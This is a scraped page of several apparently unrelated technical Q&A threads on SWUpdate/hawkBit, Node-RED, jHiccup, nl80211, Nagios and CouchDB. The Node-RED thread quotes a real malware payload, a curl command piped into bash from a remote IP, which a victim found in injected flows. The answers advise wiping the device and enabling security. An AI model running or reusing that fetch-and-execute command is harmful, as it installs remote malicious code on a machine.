How to use sendtohawkbit or Suricatta daemon to send feedback messeges to hawkbit? - swupdate

This is yet another question relating to hawkbit and SWUpdate(Suricatta daemon):
Basically I used hawkbit and SWupdate to run a firmware update on the RPi on the target it says "Update successful, executing post update actions" and then asks me to restart. as far as I know the update was successful but on the Hawkbit GUI the rollout bar is still yellow and processing how do I use suricatta daemon or sendtohawkbit utility to tell hawkbit that the update was successful, also is it possible to get a live GUI where the rollout bar shows how much it has completed etc..
I am not sure exactly of the ActiodID parameter, how do I find that exactly.
target_PC_rückmeldung
Hawkbit_rolloutbar
Please if anyone could show me an example that would be nice, Thank you very much.
This question was asked on the Hawkbit Gitter as well.
https://gitter.im/eclipse/hawkbit?at=5a0bff5271ad3f8736e7baa2

What parameters are you using? or are you using the configuration file for the hawkbit?
If you are starting your swupdate using parameters then put the -c parameters with your other parameters and it will return the status.
Example would be
swupdate -l 5 -u '-u http:yourhawbitaddress.com:port -t yourtenantname -i yourdeviceid -k yourtoken -c'

Related

Remove Multiple Node-Red Flows - Raspberry Pi LAMP Hack

I have a raspberry pi LAMP server which I use as a hobby. I also have Node-Red installed which I use for ESp8266 Sensors.
I looked at Node-Red today and there are possibly 40 - 50 flows added (which I did not create). They are all the same timestamp, feeding to message payload. The payload is
curl -s http://192.99.142.248:8220/mr.sh | bash -sh
The same as is reported here:
SolrException: Error loading class 'solr.RunExecutableListener' + '/var/tmp/sustes' process
Does anyone know how I can delete all flows? Can I delete and clean install Node-Red? I don't have anything on the RPi which I need to keep. Thanks.
Please refer to this post on the Node-RED forum: https://discourse.nodered.org/t/malware-infecting-unsecured-node-red-servers/3460
This comes as a result of exposing Node-RED to the internet without applying any security.
Your safest course of action is to wipe the SD card and start with a clean system.
Make sure you enable security this time - details in the post linked above.

How to use jHiccup with Solr?

I've tried use Solr with Jhiccup to analyze garbage collectors of Azul zing JVM and G1GC of Java-Hotspot. I launched solr, and want include jHiccup on it. of solr process is 1078. I used following command: ./jHiccup -l /tmp/jHiccup-2.0.9/hiccup.%date.%pid -p 1078. It should be work, but an error is displayed : A JNI error has occured, please check your installation and try again. Help me please!
re many ways for it to go wrong Using -p to attach to a running process is "touchy". It works well when the JDKs of both the target and the launching process are configured right, and match in version, but there are many ways for it to go wrong (mismatched JDK versions, varying policy setups, etc.).
In general the reliable and most common way to launch jHiccup (including within Solr) is to use the -javaagent method, as described in the README at https://github.com/giltene/jHiccup

How do I know what parameters nl80211 commands require?

My main reference is http://lxr.free-electrons.com/source/include/uapi/linux/nl80211.h
Let's say I want to call NL80211_CMD_TRIGGER_SCAN documentation says trigger a new scan with the given parameters NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the probe requests at CCK rate or not.
I am looking at some source I found online, but it does not work and I would
So how do I know what to put into message?
I am using libnl to comunicate with kernel
I found some answers online that put a little light on this, but it's still a dark alley to me. Here are some:
Using nl80211.h to scan access points
how to use the libnl library to trigger nl80211 commands?
I ran into the same issues working from a Python perspective. From personal experience, the iw source code sucks. You'd be better off doing
strace -e trace=network -f -x -s 4096 iw ...
I built a simple parser and copying and pasting the output, I was able to figure out what nl80211 command and attributes along with values were being sent and then see what the response was.

pnp4nagios not logging performance data for new host

We've just updated Nagios from 3.5.x to the current version (4.0.7) and subsequently added a new host for monitoring.
The new host shows as 'Down' in Nagios, and this seems to be related to the fact that pnp4nagios is not logging performance data (the individual checks for users, http etc are all find).
Initially there was an error that the directory
/usr/local/pnp4nagios/var/perfdata/newhost.com
that contains the xml setup and rrd files for the new host was missing), so I manually created this directory, but now it complains that the files are missing.
Does anyone know the appropriate steps to overcome this issue?
Thanks,
Toby
PS I'd tag this 'pnp4nagios', but that tag doesn't exist and I can't create them
UPDATE
It's possible that pnp4nagios is a red herring/symptom. Looking more closely I realise that Nagios actually believes the host is down, even though all services are up. The host status information is '(Host check timed out after 30.01 seconds)'...does this make any more sense?
It's indeed very unlikely that pnp4nagios has something to do with your host being down. pnp actually exports output and performance data to feed the rrd database and xml files (via npcd module or evenhandler command).
The fact that nagios reports the host check timed out after 30 sec means that :
- you have a problem with your host check command, please double-check the syntax
- this check command times out after a certain timelapse (most likely defined in nagios.conf) because the plugin was still running.
I'd recommend running this command from the server's prompt. You want to do something like :
/path/to/libexec/check_command -H ipaddress -args
For example:
/usr/local/libexec/nagios/check_ping -H 192.168.1.1 -w 200,40% -c 500,80% -timeout 120
See if something might be hanging. Having the output would be helpful.
Once your host check returns correct output and performance data to nagios, pnp will hopefuly do the rest.
In the unlikely event it helps anyone, pnp4nagios was indeed a red herring. The problem was that ping wasn't enabled for the host being checked, and this is the test for whether a host is up or not. Hence this was failing, despite other services being reported as working.

Clean couchdb and restart

What is command to clean CouchDB please ? And if I want to disable and re-start my CouchDB what is command?
Thanks
CouchDB can be started/stopped/restarted from the /etc/init.d/couchdb or /etc/rc.d/couchdb startup script.
(This startup script file might be located somewhere else on your system.)
You would do something like this:
To stop: /etc/init.d/couchdb stop
To restart: /etc/init.d/couchdb restart
As far as cleaning goes, I think you mean compaction. This is easiest to do via Futon, which is located here by default: http://localhost:5984/_utils
Login to Futon as an admin, navigate to your database, and there will be links to compact the database.
This can be somewhat dependent on OS and its version. On Ubuntu 14.04, for example (which is transitioning away from sysvinit), /etc/init.d/couchdb commands don't work for me. I have to do:
sudo service couchdb restart
So use the curl method posted by user2744667 (with root/admin privileges), or use the standard method for restarting daemons/services for your OS.
Finally, as a last resort, you could kill the process. This is not the recommended way to do it, and it is not "clean" as you indicated in the question. You will likely find that CouchDB is agressive about respawning itself. But if you are in a homicidal mood, all that kill-ing could be just the thing.
You can restart CouchDb as per the documentation here
Example with curl:
curl -X POST http://localhost:5984/_restart -H"Content-Type: application/json"
On Windows, you don't need to run a GUI like services.msc ... Typing this is usually faster:
c:\> net stop "Apache CouchDb"
c:\> net start "Apache CouchDb"
on Windows, if you installed it as a service, open services.msc, find the Apache couchDB service, and restart.
As I write this, the most recent existing answers are seven years old. Here's some fresher ways of doing this.
On Windows, CouchDB uses nssm.exe for managing the service. A copy of that executable is at <couch-installation-dir>\bin\nssm.exe. If you installed Couch to C:\CouchDB then restarting it is:
C:\CouchDB\bin\nssm restart "Apache CouchDB"
It doesn't have to be that nssm.exe, of course.
Still on Windows, using PowerShell you can restart the service the normal PowerShell way:
ps1 $ restart-service "Apache CouchDB"
Couch being Couch, there's also a plain old HTTP way to trigger a restart. If you have an admin user called admin with password xx then you can do this:
curl http://admin:xx#127.0.0.1:5984/_node/couchdb#localhost/_restart -X POST
The node may not be called couchdb#localhost. To find out, use:
$ curl http://admin:admin#127.0.0.1:5984/_membership/
{"all_nodes":["couchdb#localhost"],"cluster_nodes":["couchdb#localhost"]}

Resources